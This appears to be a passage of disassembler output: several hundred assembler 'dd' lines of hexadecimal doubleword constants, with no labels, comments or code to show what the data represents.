		dd 8C85D4EDh, 777EA300h, 8E08D837h, 461803C5h, 0DFBC039h
		dd 7F1B69E8h, 0A4ABECF5h, 0DEC5B200h, 4E0B7A68h, 7378929Bh
		dd 158F1F93h, 0DEEC12h,	0CC055E99h, 87036B4Ah, 16A138C0h
		dd 25E0072Eh, 41950929h, 9D932FEAh, 0E08C3299h,	5D25099h
		dd 0AADB3472h, 6F11C351h, 7EE8BCEBh, 0BA0CCDC3h, 39DCCF1Eh
		dd 0E8D60049h, 6CEE021h, 0A848CA1Bh, 3022140Fh,	0BF48ECh
		dd 0C4DFE858h, 0C138Dh,	93D21BD7h, 8B833D47h, 5EB5CCF9h
		dd 2212630Fh, 0A7A80EDCh, 0D4F0E5A4h, 6CD85390h, 8A601870h
		dd 582A1F5Ch, 7280604Bh, 0C19EE353h, 66778DB8h,	60F4562Eh
		dd 0FEB67F22h, 2C8C1E54h, 90213793h, 3C2A68ADh,	1A009BE2h
		dd 13B483C5h, 0C76C7F6h, 0C00443DBh, 9E3CEF30h,	0BE0C18E2h
		dd 684288h, 0D3130ED7h,	70469093h, 79538E0Fh, 72C4407Ah
		dd 381951Dh, 1C6041BAh,	0BD90699Eh, 6800BE10h, 46D7D1E9h
		dd 10135C6h, 0FCD4BA5Fh, 0F0A40289h, 0B3027166h, 0EA0AB98Ch
		dd 820940D5h, 1EA71F07h, 9E3C39B6h, 2506007Dh, 0B9F1B8B5h
		dd 4D0F43B1h, 81D5D026h, 6039A471h, 1034120h, 8CCFFA15h
		dd 8CDF5319h, 68EB4250h, 4A760733h, 0C0B5F6D4h,	5F0453D8h
		dd 62FEC901h, 0B617CBDAh, 0EB281F0h, 24EC1583h,	806DC807h
		dd 2508C11Eh, 644D361Dh, 0C0D5B48Eh, 939E459h, 0FB3D0755h
		dd 0C0617C67h, 0D83F3C75h, 0D7D070C5h, 2F8A0420h, 3AD200F3h
		dd 82A2578Ch, 24606A17h, 7B0F55D8h, 4485304Ah, 0D729E3A0h
		dd 938A1E00h, 8DEFB016h, 0C3E03392h, 2E38230h, 0C45F2898h
		dd 87219601h, 0E3D7B349h, 1D584DF8h, 68342563h,	0EA6B1928h
		dd 43E7197Fh, 990628C0h, 14BEB5A2h, 25DE0AA9h, 6360CEB1h
		dd 27F08BF1h, 88F95530h, 1451DA8h, 0D00E8281h, 38905063h
		dd 0CC002895h, 291AE2F7h, 0C153B2E4h, 66729979h, 5F7C48A8h
		dd 3C3084ACh, 9F467915h, 0E1993492h, 32840418h,	0CA824314h
		dd 9F4107FEh, 474D376Eh, 0B1917C96h, 0C10A5721h, 9F1E8A30h
		dd 0F5863F49h, 1E389709h, 817E7647h, 3339CAECh,	0D9B43187h
		dd 0DC6981E2h, 63DB3D07h, 0A4D83180h, 4CE4ABC8h, 0B1C0E514h
		dd 8E7F0C50h, 9339D5h, 0C660DE6Bh, 63CE8AE4h, 0EC7FCCA8h
		dd 64029518h, 304BC10h,	4BA95109h, 0FCC23121h, 0EC2E84AFh
		dd 0F9A7BF80h, 8003FFC3h, 779A4255h, 0C140C0F7h, 7AA01847h
		dd 68DF108Ch, 933F50Fh,	0DBB28073h, 0A0A5F255h,	544A7A34h
		dd 7E394ECh, 0E6E8343Bh, 2B0D5FB6h, 0A0F800D9h,	9D242E17h
		dd 238000BAh, 477C9AA4h, 0DB98C4FDh, 460C9006h,	0DE0F38CDh
		dd 1329EBFh, 1B29B2B8h,	0B0FF8443h, 2A808C4h, 0A9E3C54Bh
		dd 466086FBh, 2E7F3938h, 48CB4C37h, 40789DE5h, 478504ECh
		dd 702B378Dh, 0CBFDF21h, 0E33F445Eh, 6C749719h,	15D4B609h
		dd 34C821B3h, 8611E9BCh, 0B85446B0h, 0BC266728h, 26AAF944h
		dd 0C500407h, 4640ABE3h, 3BCEC00h, 4D2EF408h, 90AC9291h
		dd 0EDE62110h, 62B0A315h, 13CC2E18h, 3A109782h,	729480CBh
		dd 99460207h, 0DBD6CDD7h, 79DC12F0h, 0ED2C00D0h, 1411A64Eh
		dd 0DDF45200h, 4B70EEB8h, 0FE860EDEh, 0F0C0250Eh, 75AA1B84h
		dd 16097200h, 64BBC8B7h, 49AE00FEh, 56194043h, 100007A3h
		dd 6A0567F6h, 1E425D2h,	0B7EA91CFh, 0EC4D4096h,	201E9DE9h
		dd 1D40AAECh, 0E09798CDh, 0D43C0E11h, 74A0DC02h, 1C9107D9h
		dd 5CAC3Ah, 18A00B0Fh, 0C62BBBh, 489AC18Ah, 2692EB61h
		dd 0ED9B6E0Eh, 7A39403Ah, 0D969C5h, 6A0683E7h, 68289666h
		dd 0F3430500h, 0CE20A8E2h, 75537A02h, 71CA00F2h, 0D0F9BA85h
		dd 0B0000BCDh, 0F08B6A20h, 6AADECFh, 91F3C21Ch,	4CF431ABh
		dd 7092D400h, 0D375B7BDh, 0D18C167h, 0D4A4F645h, 5F1D2CFEh
		dd 302644B9h, 93A16C03h, 7AD400B7h, 6E735066h, 0E73D72A5h
		dd 0BCD707CEh, 10EC6D06h, 0D4CB003Eh, 3A789DF9h, 4930FE5Fh
		dd 318C481Dh, 0B65900C6h, 0DA955186h, 0EDEF3642h, 0ECF07F0Dh
		dd 45CE00DDh, 3F439665h, 0E30282CCh, 0C0C8B5B7h, 0C46060ACh
		dd 4BB01FEAh, 802B00B3h, 0D892E92Eh, 0B4486B00h, 6561222Fh
		dd 0CED003Dh, 68806EDBh, 0BC067AC9h, 0C53678C4h, 47340011h
		dd 580157CCh, 9303910Bh, 424AD3A6h, 7645B88Ch, 0E4E800E6h
		dd 3B90CF36h, 9C980405h, 7CE3611Fh, 0C4459280h,	5324F1h
		dd 0A1D1384Ah, 5F5932B4h, 56BC33Eh, 0EE422144h,	84005CC4h
		dd 7B124BC0h, 0B45A2460h, 0C01C9FB4h, 3211D3A4h, 4F008CE1h
		dd 0BDFAAF98h, 8B0654h,	649F0A47h, 0E5E6F98Ah, 0DB011EF6h
		dd 46CC7B25h, 0F1D450D0h, 0FD070095h, 555CC13Dh, 0F800C711h
		dd 343991EDh, 0B401E3h,	2E7DDA67h, 0EAD56EC8h, 0A0778D7Dh
		dd 10AE4600h, 0FCAFD4F3h, 71723874h, 0ECC09600h, 5F2DE6D1h
		dd 2B871A14h, 0D57800E0h, 74B3D370h, 0DF7004Bh,	3B18F1A2h
		dd 4800FF2Eh, 0AE035797h, 1BCBEABCh, 182D8833h,	5D7769F8h
		dd 67CC0800h, 664CAB3h,	73F656h, 54B2EDC0h, 7AA43EEBh
		dd 5E408200h, 7C2DE98Fh, 6EFD1D3Ah, 1FCB8020h, 1E1BF4A0h
		dd 78338000h, 21E9F97Bh, 2A562E3Eh, 5DBE0292h, 72C1DD07h
		dd 0E718C050h, 0B964A605h, 9818F5BDh, 406521D0h, 28028F33h
		dd 34ABD4BEh, 29D040D2h, 255C0080h, 0C7EFF53Ah,	3C90FBC4h
		dd 7700E3F4h, 17D3405Ah, 0A50C95h, 0FFA71498h, 857433E4h
		dd 89DE0E00h, 193B5313h, 92CE005Ch, 5E2903D3h, 14004CBBh
		dd 33C8E324h, 786F3C5h,	0D04ABA8h, 0CA27C060h, 0B3017EF9h
		dd 0C8648FAFh, 0B821CCE7h, 0C3D03AEDh, 0EA503C69h, 6BB7A900h
		dd 0F22E9F27h, 113E83Ch, 9121E767h, 2D0A75Ch, 0E99A010Fh
		dd 53C38073h, 5B33205Eh, 0FD050870h, 61952C89h,	0AFC4E600h
		dd 6E53652h, 0EBC85FF6h, 69F848EEh, 42F41824h, 51ACCB06h
		dd 7A800061h, 65D3D8B5h, 0AF0060E4h, 9C8F25F9h,	1D1E0B9Fh
		dd 400669A5h, 2841DABEh, 0F000A2D4h, 8F3F36B2h,	466B7Bh
		dd 0DC63A106h, 6D4BD8EAh, 0A43E8492h, 4315871Dh, 54C7B688h
		dd 0EEFF40F0h, 0BF985C26h, 9D858600h, 0F72006F4h, 0F04C0DEAh
		dd 0A279007Eh, 0FD187867h, 90383EA8h, 0F2BC5600h, 0D08D61C0h
		dd 574A4C98h, 0B9B8A000h, 0E6642B39h, 0BA821EC7h, 0D66A4111h
		dd 30EBCC1Dh, 5D00DF06h, 65A38596h, 9013E6A7h, 11E91CB8h
		dd 0C8526Bh, 7A6C2944h,	46016420h, 0FFD79C4Ah, 803095FAh
		dd 0AA5900C0h, 337C4EABh, 949A68ADh, 459A351Fh,	0F8500858h
		dd 30E21694h, 0BFB00E8Eh, 0D0218A04h, 0A43D88B8h, 78019190h
		dd 51F8FA7h, 0CC306575h, 8C383F6Fh, 9AE84880h, 7FEBAB0Fh
		dd 8B0CF107h, 0F9804C31h, 75303Bh, 8C682F95h, 0C7B19D78h
		dd 0F6207300h, 992985F2h, 0F9350187h, 1BE7A982h, 1C29805Dh
		dd 0C5CAA050h, 6B4F01A8h, 0BABECB37h, 0C080FE1Eh, 0A7AA51C7h
		dd 89848h, 0AF233852h, 38BE3377h, 490E0161h, 4D00680Ch
		dd 18EB077Ah, 550078E8h, 15BF0522h, 76CAE4B7h, 0BA79ACh
		dd 230E584Eh, 0FD403E88h, 0A3320600h, 966A0755h, 3D520148h
		dd 97BE932Bh, 0D5C30C8h, 2162CC00h, 0FDE7E5B7h,	0DC4724A7h
		dd 6960023h, 0CADE99C8h, 1FA0C02h, 0F0789294h, 0DAE62644h
		dd 61C0091h, 0F93B3A54h, 0D364560Ah, 8E8FDCB0h,	6CAC4007h
		dd 0FB1161Ch, 3FE50FA3h, 0BA543240h, 8EF27F9Ch,	1E77D700h
		dd 706B4122h, 0B0FBE0D2h, 9DFE0040h, 5AAD7C59h,	4D2E810Ch
		dd 800A365h, 56FA9C54h,	0F89300EFh, 6503F5Ch, 0B2000A19h
		dd 59971B01h, 5022C26Ah, 7943EC90h, 815700CDh, 362AA909h
		dd 587EBAE7h, 4DDAB200h, 0E5118F8Ch, 79280017h,	0F5516B30h
		dd 2E00A292h, 0C02B7748h, 24C3461Eh, 77CD37Ch, 70C15195h
		dd 0A560A6D0h, 387559E8h, 1600D4F8h, 0F704C27Dh, 267368h
		dd 47E05793h, 5D2B89E2h, 0BD108A1Fh, 8023BECFh,	0D135B14Ah
		dd 95A60C79h, 3360D4B6h, 0ABEBD00h, 0E4ABB3ACh,	8FDC0907h
		dd 6801160Eh, 0E0A05F6Dh, 0D1653E49h, 8A800F10h, 1E67B1h
		dd 0FA814661h, 244AE1C7h, 0B85A0501h, 0D40DB7C5h, 0B6F3E3EBh
		dd 57513C10h, 672AD500h, 0A1A4729Bh, 0A61EF102h, 86EE351Ah
		dd 660E30Ch, 3BCB6D47h,	0D000A0CCh, 38282140h, 3ACA2ABEh
		dd 4B3B5BFFh, 42091F80h, 0C3FA4581h, 0CBA0C700h, 4FF7AC70h
		dd 0C0B51C28h, 1CC680C9h, 8B17CE6Ah, 0DA658904h, 78012D9h
		dd 711164h, 0C92D3313h,	0FC7FAAE3h, 6AD82900h, 0FE21B75Bh
		dd 5F130063h, 15A19267h, 0DD072C2Eh, 433D9085h,	16282B40h
		dd 0EE282h, 70EF384Ch, 805AF0A4h, 2493E0A8h, 9EDA0100h
		dd 7A6352E3h, 0A898741Bh, 0C066B0h, 71A30B2Bh, 0E9CBFB01h
		dd 6DD55F00h, 9CFAA9Ah,	13117425h, 813BD43Fh, 0C4ACF0B8h
		dd 7005C60h, 32E22F05h,	0A8EF3183h, 7F4F9E8h, 62BC7CB3h
		dd 7EAC6186h, 0A1A4405Fh, 0E800A40Ah, 49F655D6h, 78004E6h
		dd 773BB0CDh, 0A0887754h, 9F08D5D0h, 66CEE302h,	90F6A471h
		dd 8012A68h, 0ABF39F3Ch, 3A411264h, 0D484F814h,	933BD516h
		dd 9ABD0C7Eh, 2D2025h, 153D3260h, 0C3181276h, 640C1109h
		dd 0B9541Fh, 133679EFh
		dd 7628EA8Ah, 42018030h, 125E880Ch, 0D83908CAh,	8ABE800Eh
		dd 85B52580h, 0B754422Fh, 18009380h, 9E4EFE7Ch,	3D3D6173h
		dd 0CF50BDBh, 0A9A047D5h, 6C1D0629h, 0C493965Eh, 0DA7AED03h
		dd 0D5BA9873h, 0C826514Ch, 0C0B60243h, 0F94EBE3h, 321CF602h
		dd 0AD364F42h, 0A20B3DC0h, 8FE18209h, 80CD0034h, 1FB33EFh
		dd 9BD3C0BEh, 0CBC49098h, 9A491680h, 0C14FA005h, 0E280C595h
		dd 0BFC068h, 0EBB8ECFAh, 3188FC6Dh, 4E6C3B00h, 0A72037E0h
		dd 0E50C00AEh, 727F4C1Eh, 8900FF57h, 820BECCBh,	0C6C8CFh
		dd 0DDD2A695h, 5022A7E1h, 810016F6h, 89A552DEh,	0F1B3A4h
		dd 2AE37A99h, 5FE668Eh,	0FB049B52h, 7B7C4BE0h, 78CB100h
		dd 6FF2ABA0h, 2120C316h, 2902A1E7h, 5B974C8Ah, 0BB8E00A2h
		dd 40199DEh, 0D32A4364h, 0CB016AD6h, 9A9CFC61h,	0D9D238C0h
		dd 1FFB84DFh, 13723D55h, 81ED18F1h, 26076CC7h, 29DB41CEh
		dd 4055EE10h, 56E85C1Dh, 8885F70Fh, 0BD92D9ACh,	4509A8E2h
		dd 21E70CA9h, 0B1AA2198h, 85E83B13h, 580255C1h,	919A0FDCh
		dd 128E03F9h, 183B27E8h, 0F7013971h, 0B6378FABh, 87EC04B7h
		dd 2D610031h, 0F91B5249h, 2122B5B9h, 0A3AC3C8Bh, 3A44716Fh
		dd 0A53200B4h, 0E283E4h, 2147BDFFh, 186E8019h, 0C195B40Ah
		dd 0A58080A1h, 0B90283D5h, 6DA60CC7h, 5408D020h, 4420B360h
		dd 23A88CBh, 1011AB04h,	0B08F9196h, 465F3125h, 812171D0h
		dd 33EAA178h, 4D3B891Ch, 0FEF9017Eh, 6967BFE6h,	695D058h
		dd 0FB875329h, 0CDEAC9A7h, 0F67A3900h, 1E688346h, 308D74AFh
		dd 0CE2065FFh, 3C185895h, 8579C997h, 0DFE6C3FCh, 37A098DBh
		dd 0AB74D368h, 5E7BEE01h, 956E474Bh, 0E3B7ECh, 6C26D178h
		dd 0C624909h, 0F34B4200h, 17D416Fh, 5330149Dh, 0B080488Ch
		dd 3EF66D39h, 21A0608Ch, 5258D8CDh, 0CC1DE00h, 676F4316h
		dd 0E0B0675Eh, 5CB41AB3h, 0B09B3221h, 8EAEBBD6h, 31399D60h
		dd 0AA83FAh, 0C5ADF52Ah, 0CBA85DB3h, 0B670BD01h, 64FF1BB5h
		dd 54CA3024h, 9EC4BFh, 5B424632h, 22A512C1h, 92BA001h
		dd 67966F9Fh, 0D66AA050h, 37F803FAh, 0DF41BFA3h, 91D98FA0h
		dd 0E098073Ah, 33952AE9h, 4959009Ch, 0EB3AFA86h, 0C00E656h
		dd 0F6804253h, 1A143E5h, 2A0B8C84h, 242567CBh, 6D001EA0h
		dd 9037B464h, 666386EFh, 0A9CC08A8h, 64949900h,	4BD5F562h
		dd 0FF99C16Fh, 23441C01h, 260C01C4h, 85B02E6h, 0F9D4D2h
		dd 0CC597E98h, 7F0C44F1h, 41659694h, 48013C8Ch,	71AC3418h
		dd 0ECA4B821h, 17813B18h, 1EE9AE81h, 80B70E30h,	71EE527Ch
		dd 934CC1D3h, 0D1940604h, 39B402h, 75D7DA65h, 6F4674CFh
		dd 0B3713E00h, 6367E17Ah, 3AE4A804h, 0C5D5F8EFh, 0A3B261h
		dd 0AF3819F5h, 0F3ED95Ch, 9EB80DEh, 89DA22Bh, 0D1982690h
		dd 23110224h, 7CA08F87h, 0B1F7EA1Dh, 0C0001475h, 63203975h
		dd 2BC4BEFh, 728604F0h,	0B5205696h, 222636h, 68E83DD3h
		dd 0B62D4CF5h, 3547C201h, 5AA67E9h, 0CA315441h,	602639BFh
		dd 1190684Ch, 9233002Bh, 8D3C3A02h, 39B0E94h, 605340B9h
		dd 0DC6FBF50h, 4D1959C0h, 1FEC4CBh, 0F816B86Eh,	235E402Ah
		dd 64047C08h, 0F01837CDh, 9C20C732h, 2FC6495h, 8BCEE465h
		dd 0A0649946h, 4CBD0803h, 0D8E007D2h, 24719869h, 40BA93h
		dd 8C8555A3h, 0A51FD6D9h, 74A45F29h, 7C8A8460h,	96F76E6h
		dd 982A492Eh, 0D1D34498h, 0A8B9C202h, 467EF6F7h, 0AB260024h
		dd 4683D0D4h, 0FB4848BCh, 2C3228CCh, 0A8A55F29h, 0A6533388h
		dd 0FCBB8008h, 0E5A87BD2h, 1B11E642h, 0F595CBB2h, 8804F109h
		dd 39D76089h, 0B6F61078h, 21ACCC82h, 0D9BF50F4h, 85653A34h
		dd 0FB1A7780h, 0FA361B1Ch, 718D0F14h, 82468ECCh, 88D25E7Fh
		dd 0DF88CCDFh, 64896062h, 7021AE98h, 3EC991EFh,	8A643BE5h
		dd 2CD753A2h, 33140E87h, 1A2D6C90h, 0B7FB51E6h,	0FC0B0421h
		dd 9B0516C2h, 1D32F10h,	3EFC444Fh, 2C59336h, 0F8649Ah
		dd 94135710h, 38DCA380h, 0C8CD2A00h, 4B449362h,	0EEC714D0h
		dd 7080A09Ah, 0D4B041DEh, 0E7E18E03h, 886EEC3Ah, 0AF1C1Bh
		dd 3D4AF040h, 58CFBF21h, 0C67C7E05h, 0D02098DEh, 0B0EA947Dh
		dd 3F970063h, 0AA571BBDh, 9006AC0h, 2E248289h, 0D299363Dh
		dd 0BA1D31h, 340672C2h,	5900B398h, 1FFA9C22h, 17671D42h
		dd 301BB646h, 0D3314808h, 4235E406h, 1F199E99h,	82C1B5F7h
		dd 919FACD6h, 80AF8763h, 0A3629C24h, 0B765A706h, 0E319AFBh
		dd 7980D9F9h, 62DC5B60h, 0B1542ECEh, 0E912A5ACh, 0EC016E41h
		dd 0ABE25FA2h, 386BEC64h, 725309h, 41A3A0BCh, 0B99B8C8Eh
		dd 0B2D23100h, 90DD849Fh, 640601E7h, 6D706BDCh,	954C6486h
		dd 0A0B89313h, 0F89BFC23h, 7E2D532h, 888BFD17h,	49EFD60Ch
		dd 37486F09h, 0E3B801B9h, 9C3125FCh, 1521808h, 6E93EFA9h
		dd 2C72871Dh, 13020138h, 0FB771EDDh, 3B2DAECh, 9FC586EAh
		dd 0C1ED46F2h, 0E4FA1D7Bh, 8D1F04C9h, 0B787EBA3h, 6850E90Ch
		dd 0F82F509h, 0F698DDABh, 0B8F85AF2h, 9B021844h, 9EB75A9Fh
		dd 0E29C845Bh, 58D7890h, 3AA71874h, 80FE102Bh, 13917C3Ch
		dd 1F1116h, 90570E4Fh, 56A15F0Ah, 6A989CACh, 0F42B1FCCh
		dd 0D99E40D8h, 0E7391226h, 0AA9DF900h, 0B9C37AE1h, 2CAD2668h
		dd 5C8A4220h, 0E4887125h, 0CE5000DEh, 0A89594C3h, 4E003410h
		dd 532D2911h, 0D1F99080h, 98242481h, 0D7344024h, 0B703716Dh
		dd 9010762Fh, 7483901Ch, 569F004Ah, 0D3378878h,	2E60C761h
		dd 19D3871h, 0F6920168h, 0AA63AC9Ch, 0ECE1D959h, 96182B99h
		dd 0BE6179FBh, 0AB5A3C8Ch, 908D200h, 72D197ACh,	8E93A612h
		dd 0A0834493h, 370CF5Bh, 0F298A06Eh, 46FB4A1Dh,	944B18Eh
		dd 0B4F00DCh, 6E1AAEE3h, 6D001C4Ch, 0E55BA87Ah,	5091B0Dh
		dd 74E93EA1h, 6A94286Fh, 9E853B00h, 429513E5h, 0CC930232h
		dd 0FFB9A53Eh, 21A22160h, 68E3C50Fh, 1D242358h,	0C4795CA6h
		dd 0C0560F87h, 99373326h, 0CFB5121Fh, 57C780FCh, 0C18B786Ch
		dd 3C91B8DEh, 9B007628h, 0B8B795D8h, 0F80038AEh, 1AA18549h
		dd 5DE1B1Fh, 0E63AFE9h,	979CC047h, 1449E5B2h, 0F8B15CCh
		dd 83CB3DD8h, 96816FA4h, 0D5D90064h, 7BB4F03Bh,	68008AA2h
		dd 38889776h, 44CF7Fh, 0D0DBFAD4h, 9943551Dh, 0F181E600h
		dd 5F9EE598h, 88D850EBh, 50F93837h, 0EF6F7B00h,	0DE73F5B7h
		dd 0DD3D3Ah, 53A37CF3h,	9C788Dh, 0AE24C03Fh, 9218AF91h
		dd 1DE8BA03h, 8816FE7Ch, 14ED847h, 0A0EAAA74h, 0E0C018F5h
		dd 6638DC3Eh, 79A6801Ah, 5BBB80A2h, 88560016h, 0AF6510C9h
		dd 0B70E98A5h, 0E04BB0B5h, 6D41BB26h, 73AE7409h, 0B84A0165h
		dd 93256781h, 0CE89C82Ch, 0F10064F2h, 5922B220h, 586229h
		dd 0AF902D42h, 5E6ECBBAh, 6016B637h, 0E5C0A180h, 7AAB2676h
		dd 1D8E0CE4h, 31C03908h, 0F6E438FCh, 0D5460F18h, 7A634C6Ah
		dd 400F0BC7h, 0A0FD20C3h, 0BDF5953Fh, 6C96005Bh, 5A099A84h
		dd 2F00ED59h, 0FA51DA9Fh, 30A92473h, 41586BF0h,	31016385h
		dd 61D08970h, 62C1EC1Ah, 0C024F9D0h, 30F297E8h,	0F7033371h
		dd 6E9B3776h, 0BD13F0B1h, 32383E7Dh, 0CE805539h, 995F9462h
		dd 0AB077709h, 0A9DA1B12h, 332E3760h, 16BB0052h, 21073CE5h
		dd 0E405952Dh, 57D00AA8h, 92129402h, 5EBE0158h,	0C8B12093h
		dd 2500147Fh, 157FE0AFh, 286701F9h, 9CC1B7h, 3A663EDAh
		dd 41D25BBEh, 37F86200h
		dd 5F146A52h, 79A50A06h, 88DE0Ah, 8AB15913h, 20A7665Dh
		dd 39DCEB04h, 0F515A430h, 8DC77500h, 0DB292F45h, 0F8ECECh
		dd 0E9C5C0E2h, 0B3E4BC78h, 5DD7B03h, 0AD90BF47h, 0F737AC40h
		dd 1D08327h, 759526Eh, 0D0134FBDh, 0FCA944DCh, 9FC205Ah
		dd 35C5DF18h, 0E8325696h, 20136051h, 9ED2FE98h,	0B4646300h
		dd 6E6BFDC3h, 1CB548F2h, 0B2E4FCC0h, 20435AABh,	58003622h
		dd 3EEAE591h, 0C5632A0h, 557327B5h, 392A9441h, 0F9F0F497h
		dd 27D67814h, 0AF1060FAh, 0E7103Ah, 90DCB746h, 0A6345BC2h
		dd 20ADBC35h, 8915680Ch, 0CCE18E1h, 134C5971h, 774C352h
		dd 0DEEDBF5Dh, 483232F4h, 0E06A8422h, 801A5Eh, 7AE9D5DAh
		dd 73246861h, 94936E75h, 0A7E44300h, 22E702ABh,	0E02099C1h
		dd 9453008Fh, 0E68E8E5h, 6303A898h, 273ED220h, 1E200E62h
		dd 8840DC4Eh, 0A3A6B985h, 116F0900h, 55EA5A2Ch,	0FD8400B5h
		dd 5741CD5Dh, 5305529Ah, 0B18CAE07h, 0AB8F9420h, 7306000Dh
		dd 4269F739h, 6E301C92h, 7E2E2123h, 0A63D000Dh,	1E76C85Bh
		dd 0CD38DD2Ch, 373E923Fh, 9CFD3800h, 691213h, 0EA3A94EBh
		dd 0A0B7CDC0h, 601B6FF4h, 9771C497h, 0D898A644h, 8331080Ah
		dd 0BDC4E889h, 3807AE48h, 0DA058A0h, 147EDC54h,	0E43F7003h
		dd 12796C0h, 18155655h,	0DF83A2Ah, 6908973Dh, 14A6E9DCh
		dd 0C4C3F9EEh, 624325ECh, 0F37D3700h, 6DBDB727h, 655BBC0Eh
		dd 2040D269h, 37937794h, 5C0F12C2h, 9E94739Dh, 0BFC430F4h
		dd 8CDF7E08h, 95217260h, 747D291h, 42A2DEFBh, 204908Bh
		dd 4548D038h, 0EF320A9Ch, 5D82D025h, 0A4FF82F9h, 6D4901B4h
		dd 0F2556C10h, 8C547F0Fh, 5066A0B5h, 373B3E1h, 0C14708FEh
		dd 41E8CB12h, 2E249B95h, 23081052h, 0CFC60B7h, 0A148DAFDh
		dd 1010520Ch, 0F112BAADh, 4600AF97h, 87AA379Dh,	5C4E00A0h
		dd 92C9383Bh, 1A540574h, 0E46CC6B4h, 17B960h, 2CCE4AEDh
		dd 0F95BABB6h, 16D1D609h, 0E2C8A0A8h, 30F5B0h, 0CF59BC70h
		dd 0B5780579h, 8B03D316h, 9806C1Fh, 3C1AC27Dh, 0E9FD00C1h
		dd 8D5181EBh, 0ACE84E58h, 6CE8D926h, 6C46D000h,	0BDDA96h
		dd 93EBF318h, 3CB343BEh, 24826E5Ch, 0DC0085Fh, 59ABA5E4h
		dd 1B8C6052h, 9E008121h, 0A97A0CE4h, 0E8674Fh, 2D53D7Bh
		dd 938DC4CFh, 0DFEAC301h, 0BD5C56FDh, 0D00A436h, 3DCB8BA2h
		dd 2B02CF1Ch, 0D2330B3Ch, 58A8A0B6h, 0C561C2DFh, 4054F030h
		dd 0EA7CE5F4h, 26008E77h, 1147673Bh, 778CCB1h, 0F8F28076h
		dd 280120F7h, 0C9C0BF3Eh, 0FE0C5187h, 0A098003Dh, 53BC5D6Ch
		dd 50004425h, 15EB0FEAh, 7DADBB57h, 41142CC5h, 8683090Ch
		dd 0D8D784A0h, 64B0845Ch, 0D36D10Bh, 2C7C0004h,	0B06343E6h
		dd 0C0A61074h, 64CB015Bh, 0A00C6F66h, 2171204Bh, 0C78056A6h
		dd 1F2A6944h, 5B09B56Fh, 31640C30h, 98895D08h, 4F786568h
		dd 3020AC88h, 57F2390h,	0DBB7E000h, 871661CDh, 0FCEE486Dh
		dd 0ED9D4280h, 0C300CB3Eh, 0C687B52h, 2E75B1D3h, 0B5C9F76h
		dd 1C029AAFh, 5D00ADC0h, 10D787E0h, 214DC59h, 5CD63DBAh
		dd 0FFCC6945h, 0CEEF8760h, 0F2607431h, 0C0BBC59Dh, 8FD53801h
		dd 0EC68CB7Bh, 7AE4D0h,	23FE52DEh, 9F9A98B9h, 0D3943107h
		dd 8F70EFA4h, 7293BD0Bh, 0DA2605FBh, 903DDD37h,	6CE7424h
		dd 928D0800h, 0A54FEDCAh, 474C008Ah, 1C98C70h, 0F100F980h
		dd 0D808D12Dh, 9187C6AFh, 13890024h, 8E3D57C1h,	192BB03Ah
		dd 844499CCh, 0A48010BAh, 0D4539339h, 0D487761h, 0FB1A001Ch
		dd 944862F3h, 93E0C9h, 66E58DCh, 0A5324C1Bh, 62E83E00h
		dd 4668D9EDh, 27130040h, 0C83A80F3h, 0AB26BF57h, 430052A3h
		dd 92334665h, 814B0096h, 17103F80h, 53071D27h, 466C3836h
		dd 74062C6h, 0ED3E4EF1h, 6F458080h, 0C073D7EBh,	49A98218h
		dd 11B7548h, 6547F643h,	806085A3h, 2CA57C38h, 0B16713h
		dd 35427323h, 0CF0BFDB0h, 5D91D3Bh, 79933E58h, 0AE46AA0Eh
		dd 765E80E7h, 257C0h, 4BA96033h, 152750C2h, 0BA0FA078h
		dd 0C063F804h, 2001A889h, 0AB4C01BBh, 46B42A03h, 0D019D021h
		dd 5A0F787Eh, 8104CD25h, 5E6475CCh, 7FFF6C8h, 27D4373Ch
		dd 85A0407Eh, 72032CB7h, 0CA87695Bh, 36CAB1Fh, 0C1278BEh
		dd 73F8010Eh, 0D700AEC6h, 162739CCh, 3DFC0295h,	0A70018B0h
		dd 6FE6DCD3h, 88004685h, 0D9BE9DE2h, 1F4C131Fh,	4498F1h
		dd 9E876420h, 5A98E18Ah, 1379EF79h, 82334307h, 0B120BB7Dh
		dd 0DA8AB0h, 0F7E3F03Fh, 25392090h, 433147E6h, 22880823h
		dd 36C0AF0Bh, 4E1CAE37h, 7EEFDB1Fh, 0B09A800h, 638414h
		dd 0F9FE535h, 0C11864Ch, 0B14E1A00h, 0A8C76106h, 13B237A3h
		dd 42E3E428h, 40B4805h,	0B4DD23ADh, 39282D4Ah, 0CC6988F6h
		dd 4460C040h, 88440994h, 29316276h, 0C323D905h,	0A5A11103h
		dd 370D115Ch, 1028E128h, 808DABBh, 0CA09781h, 0DDA19F16h
		dd 0D78F14A0h, 2807D58Bh, 14A8D8A6h, 543A3C59h,	29F9A166h
		dd 300082E4h, 176EAA0Ah, 17CC775h, 29DE0157h, 0C4B2CC51h
		dd 0D70032BFh, 1359E296h, 0C944E9h, 1648123Ah, 87A9A856h
		dd 0F78C8E17h, 0A168F500h, 234658h, 0EE525EC0h,	617E8DBFh
		dd 7D3E1300h, 75A3F9D4h, 0EDF0004Dh, 9F1DF15h, 0AD0330BCh
		dd 870BEB7Fh, 0E811C8F8h, 0EE150FBAh, 7CEF9BA4h, 0B6F19740h
		dd 7000C66Ch, 0EF254965h, 0F9A9F7h, 7F452283h, 3E1F46E5h
		dd 7D673300h, 8D217E96h, 15F46Eh, 897755EBh, 0A188A6C9h
		dd 0BDD31900h, 402BF43Bh, 490A0754h, 10DAA9EBh,	2E372CACh
		dd 0EA5AEF00h, 1AA13AD6h, 0AAD00D3h, 83D7DE64h,	44925EA8h
		dd 0A10009E4h, 0CD299C7Ch, 8BEDCCh, 0FD48D7ADh,	0C95DFAE7h
		dd 0FFE6C70Ch, 3C7FF014h, 6D000255h, 2E1C4E21h,	131890F0h
		dd 0B3201F24h, 0A1E100D4h, 372612FDh, 2E0023FFh, 67B73949h
		dd 3B6A196Fh, 0E3816B9Fh, 0DA3D1C36h, 47ACD8ADh, 2C214901h
		dd 26F517C5h, 37B6F60h,	0D30A55EFh, 9D88ABB5h, 281FEBDDh
		dd 0A65DD0DBh, 0BBE5C380h, 172B4877h, 0AF30854Ah, 0A87E7200h
		dd 0C1C957h, 5F03A3B8h,	0D5DA2893h, 0F111D303h,	0EFDB6871h
		dd 76E454A0h, 1675032Fh, 8DFD3DE6h, 0DB19F0A8h,	32BE9C1Dh
		dd 29F5EB80h, 2CD7ECB9h, 0DB99A1h, 15CE5C7Ah, 947B0CBFh
		dd 248397Eh, 0A7D0070h,	8FC9651Fh, 2C6100E7h, 312E9D23h
		dd 0FC005E49h, 0DF1920EAh, 0F4C6DB32h, 0A7FADEh, 0B7A4F3F8h
